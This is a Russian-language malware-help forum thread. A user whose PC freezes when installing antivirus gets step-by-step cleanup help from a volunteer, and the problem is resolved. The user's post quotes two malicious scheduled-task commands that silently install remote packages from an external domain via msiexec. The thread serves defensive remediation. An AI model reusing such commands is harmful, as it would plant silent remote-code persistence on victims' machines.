Показано с 1 по 7 из 7.

Зависание компьютера при попытке скачать, установить антивирус (заявка № 221593)

  1. #1
    Junior Member Репутация
    Регистрация
    10.08.2017
    Сообщений
    22
    Вес репутации
    25

    Зависание компьютера при попытке скачать, установить антивирус

    Здравствуйте, недавно обнаружил крайне неприятную вещь, а именно - зависание компьютера при поиске или скачивании антивирусного ПО. Антивируса на компе нет. Пытался чистить Cure It'ом, т.к это единственная утилита, которая запускается, полный поиск выдал лишь приложения, которые посчитал Unwanted, а это были утилита Auslogics BoostSpeed и её компоненты, её удаление ни к чему не привело, все также виснет. В безопасном режиме все работает прекрасно: утилиты работают, все скачивается и переходы по ссылкам тоже работают, вот только проверки утилитами Cure It и AVZ - по 0, ничего не находит, скачал в безопасном режиме Касперского, но при переходе в обычный режим и при попытке установить - установщик виснет намертво. Думал решить проблему проверкой утилитой AVZ в обычном режиме, но и она намертво зависает при запуске и при этом вешая процесс explorer.exe, а при попытке вызова Диспетчера задач появляется вовсе черный экран, в этом случае помогает только ребут. Есть также подозрения на зараженность системных процессов, об этом так сказал игровой лаунчер любезно предоставив пути к ним. В диспетчере есть эти процессы, когда я снимаю процесс "setup.exe" и нажимаю в лаунчере игры кнопку продолжить, может появиться уведомление о том, что и другой процесс заражен - svchost.exe и путь его C:\Windows\SysWOW64\svchost.exe , путь к "setup.exe" - C:\Windows\SysWOW64 Проверка этих двух файлов на Virustotal ни к чему не привела, все указывает на то, что это goodware. В планировщике задач обнаружил следующие задачи: 1. {13213D4D-59EF-2157-F198-2FBCF3648171} Действие - запуск программы "msiexec.exe" -q /package https://eryseefor.info/7bnmwxlbfysf.iau 2. {C7E28AF9-AC06-C9CD-D4F4-6BBAA83B88A6} Действие - запуск программы "msiexec.exe" -q /package https://eryseefor.info/ylhybalegdna.pxn AutoLogger тоже виснет, т.к открывается AVZ, что делает невозможным сбор логов. Рассчитываю на Вашу помощь.

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Cyber Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для Info_bot
    Регистрация
    11.05.2011
    Сообщений
    2,287
    Вес репутации
    378
    Уважаемый(ая) Desteeerslav, спасибо за обращение на наш форум!

    Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

    information

    Информация

    Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.





    Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

  4. #3
    Senior Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    06.05.2008
    Адрес
    Тула
    Сообщений
    35,496
    Вес репутации
    1058
    Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

    Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
    Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

    Нажмите кнопку Scan.
    После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
    Прикрепите эти файлы к своему следующему сообщению (лучше оба в одном архиве).
    WBR,
    Vadim

  5. #4
    Junior Member Репутация
    Регистрация
    10.08.2017
    Сообщений
    22
    Вес репутации
    25
    Если это имеет значение сканирование выполнял в безопасном режиме, иначе программа виснет с момента запуска в обычном режиме.
    Вложения Вложения

  6. #5
    Senior Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    06.05.2008
    Адрес
    Тула
    Сообщений
    35,496
    Вес репутации
    1058
    Сохраните файл из вложения в папку с Farbar Recovery Scan Tool.
    fixlist.txt

    Запустите FRST.EXE/FRST64.EXE, нажмите один раз Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
    Компьютер будет перезагружен автоматически.

    Сообщите, что с проблемой.

    Загрузите, распакуйте на Рабочий стол и запустите SecurityCheck by glax24 & Severnyj.
    Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши Запуск от имени администратора (если Вы используете Windows Vista/7/8/10).
    Если увидите предупреждение от фаервола относительно программы SecurityCheck, не блокируйте ее работу.
    Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt;
    Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt.

    Приложите этот файл к своему следующему сообщению.
    WBR,
    Vadim

  7. #6
    Junior Member Репутация
    Регистрация
    10.08.2017
    Сообщений
    22
    Вес репутации
    25
    После фикслиста проблема отпала, на все антивирусные сайты заходит, антивирусный установщик не зависает
    Вложения Вложения

  8. #7
    Senior Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    06.05.2008
    Адрес
    Тула
    Сообщений
    35,496
    Вес репутации
    1058
    Internet Explorer 8.0.7601.17514 Внимание! Скачать обновления
    ^Онлайн установка. Последняя версия доступна при включенном обновлении Windows через интернет.^
    Установите Internet Explorer 11, даже если им не пользуетесь, это критически важный для безопасности компонент Windows.
    Автоматическое обновление отключено
    Дата установки обновлений: 2017-04-14 05:09:12
    C того времени много критических патчей выпущено, стоит установить:
    HotFix KB3115858 Внимание! Скачать обновления
    HotFix KB3140735 Внимание! Скачать обновления
    HotFix KB3138910 Внимание! Скачать обновления
    HotFix KB3138962 Внимание! Скачать обновления
    HotFix KB3145739 Внимание! Скачать обновления
    HotFix KB3146963 Внимание! Скачать обновления
    HotFix KB3156013 Внимание! Скачать обновления
    HotFix KB3156016 Внимание! Скачать обновления
    HotFix KB3155178 Внимание! Скачать обновления
    HotFix KB3153171 Внимание! Скачать обновления
    HotFix KB3170455 Внимание! Скачать обновления
    HotFix KB3178034 Внимание! Скачать обновления
    HotFix KB3185911 Внимание! Скачать обновления
    HotFix KB3184122 Внимание! Скачать обновления
    HotFix KB3192391 Внимание! Скачать обновления
    HotFix KB3197867 Внимание! Скачать обновления
    HotFix KB3205394 Внимание! Скачать обновления
    HotFix KB4019263 Внимание! Скачать обновления
    HotFix KB4022722 Внимание! Скачать обновления
    HotFix KB4015546 Внимание! Скачать обновления
    HotFix KB4025337 Внимание! Скачать обновления
    HotFix KB4034679 Внимание! Скачать обновления
    HotFix KB4041678 Внимание! Скачать обновления
    HotFix KB4056894 Внимание! Скачать обновления
    HotFix KB4056897 Внимание! Скачать обновления
    HotFix KB4074587 Внимание! Скачать обновления
    HotFix KB4103712 Внимание! Скачать обновления
    HotFix KB4343899 Внимание! Скачать обновления
    HotFix KB4457145 Внимание! Скачать обновления
    HotFix KB4462923 Внимание! Скачать обновления
    HotFix KB4480970 Внимание! Скачать обновления
    HotFix KB4487345 Внимание! Скачать обновления
    Это обязательно обновите:
    Adobe Flash Player 27 PPAPI v.27.0.0.183 Внимание! Скачать обновления
    А это лучше удалить:
    DLL-Files.com Fixer Внимание! Подозрение на демо-версию антишпионской программы, программы-оптимизатора или вымогателя - scareware, badware или rogueware. Рекомендуется деинсталляция и сканирование ПК с помощью Malwarebytes Anti-Malware. Возможно Вы стали жертвой обмана или социальной инженерии.
    Unity Web Player v.5.3.8f2 Внимание! Приложение распространяется в рамках партнерских программ и сборников-бандлов. Рекомендуется деинсталляция. Возможно Вы стали жертвой обмана или социальной инженерии.
    SpyHunter4 Внимание! Подозрение на демо-версию антишпионской программы, программы-оптимизатора или вымогателя - scareware, badware или rogueware. Рекомендуется деинсталляция и сканирование ПК с помощью Malwarebytes Anti-Malware. Возможно Вы стали жертвой обмана или социальной инженерии.
    Auslogics BoostSpeed 9 v.9.2.0.0 Внимание! Подозрение на демо-версию антишпионской программы, программы-оптимизатора или вымогателя - scareware, badware или rogueware. Рекомендуется деинсталляция и сканирование ПК с помощью Malwarebytes Anti-Malware. Возможно Вы стали жертвой обмана или социальной инженерии.
    WBR,
    Vadim

Похожие темы

Свернуть/Развернуть Ваши права в разделе

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Page generated in 0.01490 seconds with 20 queries